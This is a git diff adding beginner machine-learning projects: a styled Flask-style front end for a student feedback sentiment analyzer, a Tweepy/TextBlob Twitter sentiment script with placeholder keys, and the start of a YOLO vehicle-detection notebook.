Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/student-data.xlsx new file mode 100644 index 00000000..424023db Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/student-data.xlsx differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/style.css b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/style.css new file mode 100644 index 00000000..dcfe38c0 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/style.css @@ -0,0 +1,228 @@ +@import url('https://fonts.googleapis.com/css2?family=Oswald:wght@600&display=swap'); +* { + box-sizing: border-box; + font-family: 'Oswald', sans-serif; +} + +body { + display: flex; + justify-content: space-around; + align-items: center; + font-family: 'Oswald', sans-serif; + font-size: 17px; + padding: 100px; + background-color: rgb(230, 227, 227); +} + +.container { + background-color: rgb(255, 255, 255, 0.7); + display: flex; + flex-direction: column; + justify-content: space-between; + align-items: center; + border-radius: 10px; + padding: 10px; +} + +.item1 { + text-align: center; + color: rgb(0, 0, 0); +} + +h1, +h3 { + margin: 0%; + padding: 0; + font-size: 2.5rem; +} + +span { + text-align: center; +} + +span a { + color: blue; + font-size: 1.5rem; +} + +.form_area { + width: 100%; +} + +#field_inside { + background: #fff; + border: 2px solid #2700ff; + width: 85%; + padding: 5px; + margin: auto; + margin-top: 10px; + margin-bottom: 10px; + font-size: 15px; + border-radius: 5px; +} + +input[type="file"] { + display: none; +} + +#but { + display: flex; + flex-direction: column; + justify-content: space-evenly; +} + +#but1 { + margin: 5px auto; + width: 100px; + padding: 5px; + font-size: 20px; + border-radius: 8px; + border-style: none; + background-color: rgb(54, 235, 54); + color: #fff; + cursor: pointer; +} + +#but2 { + width: 100px; + padding: 5px; + font-size: 20px; + border-radius: 8px; + border-style: none; + background-color: #2700ff; + cursor: pointer; + color: #fff; + margin: auto; + margin-bottom: 10px; +} + +#upload-button { + font-size: 1.5rem; + display: block; + border-radius: 5px; + padding: 5px; + color: #fff; + background-color: #2700ff; + border: 2px solid #3f00ff; + cursor: pointer; + outline: 0; + margin: auto; + margin-top: 8px; +} + +#custom-msg { + text-align: center; + font-size: 1.5rem; +} + +#reset_but { + display: block; + margin: 5px auto; + position: relative; + width: 100px; + padding: 5px; + font-size: 20px; + border-radius: 8px; + border-style: none; + background-color: rgba(206, 22, 16, 0.911); + cursor: pointer; + color: #fff; +} +#drop, +#text_down{ + text-align:center; +} + +.textarea { + display: flex; + flex-direction: column; + align-items: center; +} + +table, +th, +td { + border: 1px solid black; + border-collapse: collapse; +} + +table { + width: 70vw; + margin: 10px auto; + padding: 5px; +} + +td { + vertical-align: auto; + padding: 5px; +} + +tr:nth-child(odd) { + background-color: gray; +} + +.headin { + background-color: black; + color: white; +} + +th { + padding: 5px; + background-color: black; + color: white; +} + +#plot { + display: none; +} + +#plot div { + width: 500px; + height: 500x; + margin:5px; +} + +#plot div img { + width: 500px; + height: 500px; +} + +.cap{ + font-style: italic; + font-size: 25px; + font-family:'Franklin Gothic Medium', 'Arial Narrow', Arial, sans-serif; + padding-top: 15px; + padding-bottom: 15px; + color: #3f00ff; + border: 2px solid black; + border-radius: 20px; + margin-bottom: 10px; +} + +#but3 { + width: 100px; + padding: 5px; + font-size: 20px; + border-radius: 8px; + border-style: none; + background-color: #2700ff; + cursor: pointer; + color: #fff; + margin: auto; + margin-bottom: 15px; + +} + +#plot1 { + display: none; +} + +#plot1 div { + width: 450px; + height: 450px; +} + +#plot1 div img { + width: 450px; + height: 450px; +} \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/README.md b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/README.md new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/README.md @@ -0,0 +1 @@ + diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/error.html b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/error.html new file mode 100644 index 00000000..fa0df30a --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/error.html @@ -0,0 +1,24 @@ + + + + + Student Feedback Analyzer + + + + + +
+ Error +
+ + \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index.html b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index.html new file mode 100644 index 00000000..28a397c5 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index.html @@ -0,0 +1,90 @@ + + + + + + Student Feedback Analyzer + + + + + + +
+
+

+ Student Feedback Analyzer Tool +

+

+ Upload feedback form for Sentiment Analysis.... +

+
+ + View a sample Feedback Form
+ + + Click here to make a copy of this Google Form +
+ +
+
+
+ +
No file Chosen, yet.
+ + +
+
+
+ + + +
+ + +
+
+

Only if you want Analysis for one Category

+ +
+ +
+ +
+
+
+ + + +
+ + + + + diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index1.html b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index1.html new file mode 100644 index 00000000..900a1e85 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/templates/index1.html @@ -0,0 +1,312 @@ + + + + + + Student Feedback Analyzer + + + + + + +
+
+

+ Student Feedback Analyzer Tool +

+

+ Here are your results gif +

+
+ + {% if result %} +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result['f1'] }}{{ result['pos1'] }}{{ result['n1'] }} {{ result['neg1'] }}
{{ result['f2'] }}{{ result['pos2'] }}{{ result['n2'] }} {{ result['neg1'] }}
{{ result['f3'] }}{{ result['pos3'] }}{{ result['n3'] }} {{ result['neg3'] }}
{{ result['f4'] }}{{ result['pos4'] }}{{ result['n4'] }} {{ result['neg4'] }}
{{ result['f5'] }}{{ result['pos5'] }}{{ result['n5'] }} {{ result['neg5'] }}
{{ result['f6'] }}{{ result['pos6'] }}{{ result['n6'] }} {{ result['neg6'] }}
+
+ +
+ +
+ +
+ + {% for i in range(0 , 6) %} +
chart
+ {% endfor %} + +
+ +
+ + + {% elif result1 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result1['f1'] }}{{ result1['pos1'] }}{{ result1['n1'] }} {{ result1['neg1'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% elif result2 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result2['f2'] }}{{ result2['pos2'] }}{{ result2['n2'] }} {{ result2['neg2'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% elif result3 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result3['f3'] }}{{ result3['pos3'] }}{{ result3['n3'] }} {{ result3['neg3'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% elif result4 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result4['f4'] }}{{ result4['pos4'] }}{{ result4['n4'] }} {{ result4['neg4'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% elif result5 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result5['f5'] }}{{ result5['pos5'] }}{{ result5['n5'] }} {{ result5['neg5'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% elif result6 %} +
+
+ + + + + + + + + + + + + + +
Results of Sentiment Analysis
CategoryPositiveNeutralNegative
{{ result6['f6'] }}{{ result6['pos6'] }}{{ result6['n6'] }} {{ result6['neg6'] }}
+
+
+ +
+ +
+
chart
+
+ +
+ + {% endif %} + + + + + + + diff --git a/MachineLearning Projects/Twitter-sentiment-analysis/README.md b/MachineLearning Projects/Twitter-sentiment-analysis/README.md new file mode 100644 index 00000000..c827203e --- /dev/null +++ b/MachineLearning Projects/Twitter-sentiment-analysis/README.md @@ -0,0 +1,29 @@ + +## Get Started + +Tweepy: +Tweepy is the python client for the official Twitter API. Install it using following pip command: + +```bash + pip install tweepy +``` + +TextBlob: textblob is the python library for processing textual data. Install it using following pip command: + +```bash + pip install textblob +``` + +Install some NLTK corpora using following command: + +```bash + python -m textblob.download_corpora +``` +## Authentication: +In order to fetch tweets through Twitter API, one needs to register an App through their twitter account. Follow these steps for the same: + +1. Open developer.twitter.com/apps and click the button: ‘Create New App’ +2. Fill the application details. You can leave the callback url field empty. +3. Once the app is created, you will be redirected to the app page. +4. Open the ‘Keys and Access Tokens’ tab. +5. Copy ‘Consumer Key’, ‘Consumer Secret’, ‘Access token’ and ‘Access Token Secret’. \ No newline at end of file diff --git a/MachineLearning Projects/Twitter-sentiment-analysis/twitter-sentiment-analysis.py b/MachineLearning Projects/Twitter-sentiment-analysis/twitter-sentiment-analysis.py new file mode 100644 index 00000000..9bd31ddd --- /dev/null +++ b/MachineLearning Projects/Twitter-sentiment-analysis/twitter-sentiment-analysis.py @@ -0,0 +1,114 @@ +import re +import tweepy +from tweepy import OAuthHandler +from textblob import TextBlob + +class TwitterClient(object): + def __init__(self): + # keys and tokens from the Twitter Dev Console + consumer_key = 'XXXXXXXXXXXXXXXXXXXXXXXX' + consumer_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXX' + + # attempt authentication + try: + # create OAuthHandler object + self.auth = OAuthHandler(consumer_key, consumer_secret) + # set access token and secret + self.auth.set_access_token(access_token, access_token_secret) + # create tweepy API object to fetch tweets + self.api = tweepy.API(self.auth) + except: + print("Error: Authentication Failed") + + def clean_tweet(self, tweet): + ''' + Utility function to clean tweet text by removing links, special characters + using simple regex statements. + ''' + return ' '.join(re.sub("(@[A-Za-z0-9]+)|([^0-9A-Za-z \t]) + |(\w+:\/\/\S+)", " ", tweet).split()) + + def get_tweet_sentiment(self, tweet): + ''' + Utility function to classify sentiment of passed tweet + using textblob's sentiment method + ''' + # create TextBlob object of passed tweet text + analysis = TextBlob(self.clean_tweet(tweet)) + # set sentiment + if analysis.sentiment.polarity > 0: + return 'positive' + elif analysis.sentiment.polarity == 0: + return 'neutral' + else: + return 'negative' + + def get_tweets(self, query, count = 10): + ''' + Main function to fetch tweets and parse them. + ''' + # empty list to store parsed tweets + tweets = [] + + try: + # call twitter api to fetch tweets + fetched_tweets = self.api.search(q = query, count = count) + + # parsing tweets one by one + for tweet in fetched_tweets: + # empty dictionary to store required params of a tweet + parsed_tweet = {} + + # saving text of tweet + parsed_tweet['text'] = tweet.text + # saving sentiment of tweet + parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text) + + # appending parsed tweet to tweets list + if tweet.retweet_count > 0: + # if tweet has retweets, ensure that it is appended only once + if parsed_tweet not in tweets: + tweets.append(parsed_tweet) + else: + tweets.append(parsed_tweet) + + # return parsed tweets + return tweets + + except tweepy.TweepError as e: + # print error (if any) + print("Error : " + str(e)) + +def main(): + # creating object of TwitterClient Class + api = TwitterClient() + # calling function to get tweets + tweets = api.get_tweets(query = 'Donald Trump', count = 200) + + # picking positive tweets from tweets + ptweets = [tweet for tweet in tweets if tweet['sentiment'] == 'positive'] + # percentage of positive tweets + print("Positive tweets percentage: {} %".format(100*len(ptweets)/len(tweets))) + # picking negative tweets from tweets + ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative'] + # percentage of negative tweets + print("Negative tweets percentage: {} %".format(100*len(ntweets)/len(tweets))) + # percentage of neutral tweets + print("Neutral tweets percentage: {} % \ + ".format(100*(len(tweets) -(len( ntweets )+len( ptweets)))/len(tweets))) + + # printing first 5 positive tweets + print("\n\nPositive tweets:") + for tweet in ptweets[:10]: + print(tweet['text']) + + # printing first 5 negative tweets + print("\n\nNegative tweets:") + for tweet in ntweets[:10]: + print(tweet['text']) + +if __name__ == "__main__": + # calling main function + main() diff --git a/MachineLearning Projects/Twitter-sentiments-analysis/README.md b/MachineLearning Projects/Twitter-sentiments-analysis/README.md new file mode 100644 index 00000000..c827203e --- /dev/null +++ b/MachineLearning Projects/Twitter-sentiments-analysis/README.md @@ -0,0 +1,29 @@ + +## Get Started + +Tweepy: +Tweepy is the python client for the official Twitter API. Install it using following pip command: + +```bash + pip install tweepy +``` + +TextBlob: textblob is the python library for processing textual data. Install it using following pip command: + +```bash + pip install textblob +``` + +Install some NLTK corpora using following command: + +```bash + python -m textblob.download_corpora +``` +## Authentication: +In order to fetch tweets through Twitter API, one needs to register an App through their twitter account. Follow these steps for the same: + +1. Open developer.twitter.com/apps and click the button: ‘Create New App’ +2. Fill the application details. You can leave the callback url field empty. +3. Once the app is created, you will be redirected to the app page. +4. Open the ‘Keys and Access Tokens’ tab. +5. Copy ‘Consumer Key’, ‘Consumer Secret’, ‘Access token’ and ‘Access Token Secret’. \ No newline at end of file diff --git a/MachineLearning Projects/Twitter-sentiments-analysis/twitter-sentiment-analysis.py b/MachineLearning Projects/Twitter-sentiments-analysis/twitter-sentiment-analysis.py new file mode 100644 index 00000000..9bd31ddd --- /dev/null +++ b/MachineLearning Projects/Twitter-sentiments-analysis/twitter-sentiment-analysis.py @@ -0,0 +1,114 @@ +import re +import tweepy +from tweepy import OAuthHandler +from textblob import TextBlob + +class TwitterClient(object): + def __init__(self): + # keys and tokens from the Twitter Dev Console + consumer_key = 'XXXXXXXXXXXXXXXXXXXXXXXX' + consumer_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXX' + + # attempt authentication + try: + # create OAuthHandler object + self.auth = OAuthHandler(consumer_key, consumer_secret) + # set access token and secret + self.auth.set_access_token(access_token, access_token_secret) + # create tweepy API object to fetch tweets + self.api = tweepy.API(self.auth) + except: + print("Error: Authentication Failed") + + def clean_tweet(self, tweet): + ''' + Utility function to clean tweet text by removing links, special characters + using simple regex statements. + ''' + return ' '.join(re.sub("(@[A-Za-z0-9]+)|([^0-9A-Za-z \t]) + |(\w+:\/\/\S+)", " ", tweet).split()) + + def get_tweet_sentiment(self, tweet): + ''' + Utility function to classify sentiment of passed tweet + using textblob's sentiment method + ''' + # create TextBlob object of passed tweet text + analysis = TextBlob(self.clean_tweet(tweet)) + # set sentiment + if analysis.sentiment.polarity > 0: + return 'positive' + elif analysis.sentiment.polarity == 0: + return 'neutral' + else: + return 'negative' + + def get_tweets(self, query, count = 10): + ''' + Main function to fetch tweets and parse them. + ''' + # empty list to store parsed tweets + tweets = [] + + try: + # call twitter api to fetch tweets + fetched_tweets = self.api.search(q = query, count = count) + + # parsing tweets one by one + for tweet in fetched_tweets: + # empty dictionary to store required params of a tweet + parsed_tweet = {} + + # saving text of tweet + parsed_tweet['text'] = tweet.text + # saving sentiment of tweet + parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text) + + # appending parsed tweet to tweets list + if tweet.retweet_count > 0: + # if tweet has retweets, ensure that it is appended only once + if parsed_tweet not in tweets: + tweets.append(parsed_tweet) + else: + tweets.append(parsed_tweet) + + # return parsed tweets + return tweets + + except tweepy.TweepError as e: + # print error (if any) + print("Error : " + str(e)) + +def main(): + # creating object of TwitterClient Class + api = TwitterClient() + # calling function to get tweets + tweets = api.get_tweets(query = 'Donald Trump', count = 200) + + # picking positive tweets from tweets + ptweets = [tweet for tweet in tweets if tweet['sentiment'] == 'positive'] + # percentage of positive tweets + print("Positive tweets percentage: {} %".format(100*len(ptweets)/len(tweets))) + # picking negative tweets from tweets + ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative'] + # percentage of negative tweets + print("Negative tweets percentage: {} %".format(100*len(ntweets)/len(tweets))) + # percentage of neutral tweets + print("Neutral tweets percentage: {} % \ + ".format(100*(len(tweets) -(len( ntweets )+len( ptweets)))/len(tweets))) + + # printing first 5 positive tweets + print("\n\nPositive tweets:") + for tweet in ptweets[:10]: + print(tweet['text']) + + # printing first 5 negative tweets + print("\n\nNegative tweets:") + for tweet in ntweets[:10]: + print(tweet['text']) + +if __name__ == "__main__": + # calling main function + main() diff --git a/MachineLearning Projects/Vehicle-Detection/LICENSE b/MachineLearning Projects/Vehicle-Detection/LICENSE new file mode 100644 index 00000000..583e1a9f --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/LICENSE @@ -0,0 +1,43 @@ +COPYRIGHT + +All contributions by deeplearning.ai (Kian Katanforoosh, Younes Bensouda Mourri, Andrew Ng): +Copyright (c) 2017, deeplearning.ai (Kian Katanforoosh, Younes Bensouda Mourri, Andrew Ng). +All rights reserved. + +This work incorporates contributions due to Allan Zelener released under an MIT License, reproduced below: + +---------------------------------------------------- +All contributions by Allan Zelener: +Copyright (c) 2017, Allan Zelener. +All rights reserved. + +All other contributions: +Copyright (c) 2017, the respective contributors. +All rights reserved. + +Each contributor holds copyright over their respective contributions. +The project versioning (Git) records all such contribution source information. + +LICENSE + +The MIT License (MIT) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +---------------------------------------------------- + diff --git a/MachineLearning Projects/Vehicle-Detection/README.md b/MachineLearning Projects/Vehicle-Detection/README.md new file mode 100644 index 00000000..37f3da93 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/README.md @@ -0,0 +1 @@ +The aim is to build a detection system for a self-driven car. The camera on the hood takes pictures of the road ahead every few seconds for a safe ride, avoiding obstacles. diff --git a/MachineLearning Projects/Vehicle-Detection/Vehicle_detection.ipynb b/MachineLearning Projects/Vehicle-Detection/Vehicle_detection.ipynb new file mode 100644 index 00000000..51c8ac65 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/Vehicle_detection.ipynb @@ -0,0 +1,440 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Using TensorFlow backend.\n" + ] + } + ], + "source": [ + "import argparse\n", + "import os\n", + "import matplotlib.pyplot as plt\n", + "from matplotlib.pyplot import imshow\n", + "import scipy.io\n", + "import scipy.misc\n", + "import numpy as np\n", + "import pandas as pd\n", + "import PIL\n", + "import tensorflow as tf\n", + "from keras import backend as K\n", + "from keras.layers import Input, Lambda, Conv2D\n", + "from keras.models import load_model, Model\n", + "from yolo_utils import read_classes, read_anchors, generate_colors, preprocess_image, draw_boxes, scale_boxes\n", + "from yad2k.models.keras_yolo import yolo_head, yolo_boxes_to_corners, preprocess_true_boxes, yolo_loss, yolo_body\n", + "\n", + "%matplotlib inline" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "\n", + "def yolo_filter_boxes(box_confidence, boxes, box_class_probs, threshold = .6):\n", + "\n", + " box_scores = box_confidence * box_class_probs\n", + " \n", + " box_classes = K.argmax(box_scores, axis=-1)\n", + " box_class_scores = K.max(box_scores, axis=-1)\n", + " \n", + " filtering_mask = ((box_class_scores) >= threshold)\n", + " \n", + " scores = tf.boolean_mask(box_class_scores, filtering_mask, name='boolean_mask')\n", + " boxes = tf.boolean_mask(boxes, filtering_mask, name='boolean_mask')\n", + " classes = tf.boolean_mask(box_classes, filtering_mask, name='boolean_mask') \n", + " return scores, boxes, classes" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "def iou(box1, box2):\n", + " \n", + " xi1 = max(box1[0], box2[0])\n", + " yi1 = max(box1[1], box2[1])\n", + " xi2 = min(box1[2], box2[2])\n", + " yi2 = min(box1[3], box2[3])\n", + " inter_area = max(yi2 - yi1, 0) * max(xi2 - xi1, 0)\n", + " \n", + " box1_area = (box1[3] - box1[1]) * (box1[2] - box1[0])\n", + " box2_area = (box2[3] - box2[1]) * (box2[2] - box2[0])\n", + " union_area = box1_area + box2_area - inter_area\n", + " \n", + " iou = inter_area / union_area\n", + " \n", + " return iou" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "def yolo_non_max_suppression(scores, boxes, classes, max_boxes = 10, iou_threshold = 0.5):\n", + " \n", + " max_boxes_tensor = K.variable(max_boxes, dtype='int32') \n", + " K.get_session().run(tf.variables_initializer([max_boxes_tensor])) \n", + "\n", + " nms_indices = tf.image.non_max_suppression(boxes = boxes, scores = scores, max_output_size = max_boxes, iou_threshold = iou_threshold)\n", + " \n", + " scores = K.gather(scores, nms_indices)\n", + " boxes = K.gather(boxes, nms_indices)\n", + " classes = K.gather(classes, nms_indices)\n", + " \n", + " return scores, boxes, classes" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "def yolo_eval(yolo_outputs, image_shape = (720., 1280.), max_boxes=10, score_threshold=.6, iou_threshold=.5):\n", + " \n", + " box_confidence, box_xy, box_wh, box_class_probs = yolo_outputs[0], yolo_outputs[1], yolo_outputs[2], yolo_outputs[3]\n", + " boxes = yolo_boxes_to_corners(box_xy, box_wh)\n", + " scores, boxes, classes = yolo_filter_boxes(box_confidence, boxes, box_class_probs, threshold = 0.5)\n", + " boxes = scale_boxes(boxes, image_shape)\n", + " scores, boxes, classes = yolo_non_max_suppression(scores, boxes, classes)\n", + " return scores, boxes, classes" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "sess = K.get_session()" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [], + "source": [ + "class_names = read_classes(\"model_data/coco_classes.txt\")\n", + "anchors = read_anchors(\"model_data/yolo_anchors.txt\")\n", + "image_shape = (720., 1280.) " + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/opt/conda/lib/python3.6/site-packages/keras/models.py:251: UserWarning: No training configuration found in save file: the model was *not* compiled. Compile it manually.\n", + " warnings.warn('No training configuration found in save file: '\n" + ] + } + ], + "source": [ + "yolo_model = load_model(\"model_data/yolo.h5\")" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "____________________________________________________________________________________________________\n", + "Layer (type) Output Shape Param # Connected to \n", + "====================================================================================================\n", + "input_1 (InputLayer) (None, 608, 608, 3) 0 \n", + "____________________________________________________________________________________________________\n", + "conv2d_1 (Conv2D) (None, 608, 608, 32) 864 input_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_1 (BatchNorm (None, 608, 608, 32) 128 conv2d_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_1 (LeakyReLU) (None, 608, 608, 32) 0 batch_normalization_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "max_pooling2d_1 (MaxPooling2D) (None, 304, 304, 32) 0 leaky_re_lu_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_2 (Conv2D) (None, 304, 304, 64) 18432 max_pooling2d_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_2 (BatchNorm (None, 304, 304, 64) 256 conv2d_2[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_2 (LeakyReLU) (None, 304, 304, 64) 0 batch_normalization_2[0][0] \n", + "____________________________________________________________________________________________________\n", + "max_pooling2d_2 (MaxPooling2D) (None, 152, 152, 64) 0 leaky_re_lu_2[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_3 (Conv2D) (None, 152, 152, 128) 73728 max_pooling2d_2[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_3 (BatchNorm (None, 152, 152, 128) 512 conv2d_3[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_3 (LeakyReLU) (None, 152, 152, 128) 0 batch_normalization_3[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_4 (Conv2D) (None, 152, 152, 64) 8192 leaky_re_lu_3[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_4 (BatchNorm (None, 152, 152, 64) 256 conv2d_4[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_4 (LeakyReLU) (None, 152, 152, 64) 0 batch_normalization_4[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_5 (Conv2D) (None, 152, 152, 128) 73728 leaky_re_lu_4[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_5 (BatchNorm (None, 152, 152, 128) 512 conv2d_5[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_5 (LeakyReLU) (None, 152, 152, 128) 0 batch_normalization_5[0][0] \n", + "____________________________________________________________________________________________________\n", + "max_pooling2d_3 (MaxPooling2D) (None, 76, 76, 128) 0 leaky_re_lu_5[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_6 (Conv2D) (None, 76, 76, 256) 294912 max_pooling2d_3[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_6 (BatchNorm (None, 76, 76, 256) 1024 conv2d_6[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_6 (LeakyReLU) (None, 76, 76, 256) 0 batch_normalization_6[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_7 (Conv2D) (None, 76, 76, 128) 32768 leaky_re_lu_6[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_7 (BatchNorm (None, 76, 76, 128) 512 conv2d_7[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_7 (LeakyReLU) (None, 76, 76, 128) 0 batch_normalization_7[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_8 (Conv2D) (None, 76, 76, 256) 294912 leaky_re_lu_7[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_8 (BatchNorm (None, 76, 76, 256) 1024 conv2d_8[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_8 (LeakyReLU) (None, 76, 76, 256) 0 batch_normalization_8[0][0] \n", + "____________________________________________________________________________________________________\n", + "max_pooling2d_4 (MaxPooling2D) (None, 38, 38, 256) 0 leaky_re_lu_8[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_9 (Conv2D) (None, 38, 38, 512) 1179648 max_pooling2d_4[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_9 (BatchNorm (None, 38, 38, 512) 2048 conv2d_9[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_9 (LeakyReLU) (None, 38, 38, 512) 0 batch_normalization_9[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_10 (Conv2D) (None, 38, 38, 256) 131072 leaky_re_lu_9[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_10 (BatchNor (None, 38, 38, 256) 1024 conv2d_10[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_10 (LeakyReLU) (None, 38, 38, 256) 0 batch_normalization_10[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_11 (Conv2D) (None, 38, 38, 512) 1179648 leaky_re_lu_10[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_11 (BatchNor (None, 38, 38, 512) 2048 conv2d_11[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_11 (LeakyReLU) (None, 38, 38, 512) 0 batch_normalization_11[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_12 (Conv2D) (None, 38, 38, 256) 131072 leaky_re_lu_11[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_12 (BatchNor (None, 38, 38, 256) 1024 conv2d_12[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_12 (LeakyReLU) (None, 38, 38, 256) 0 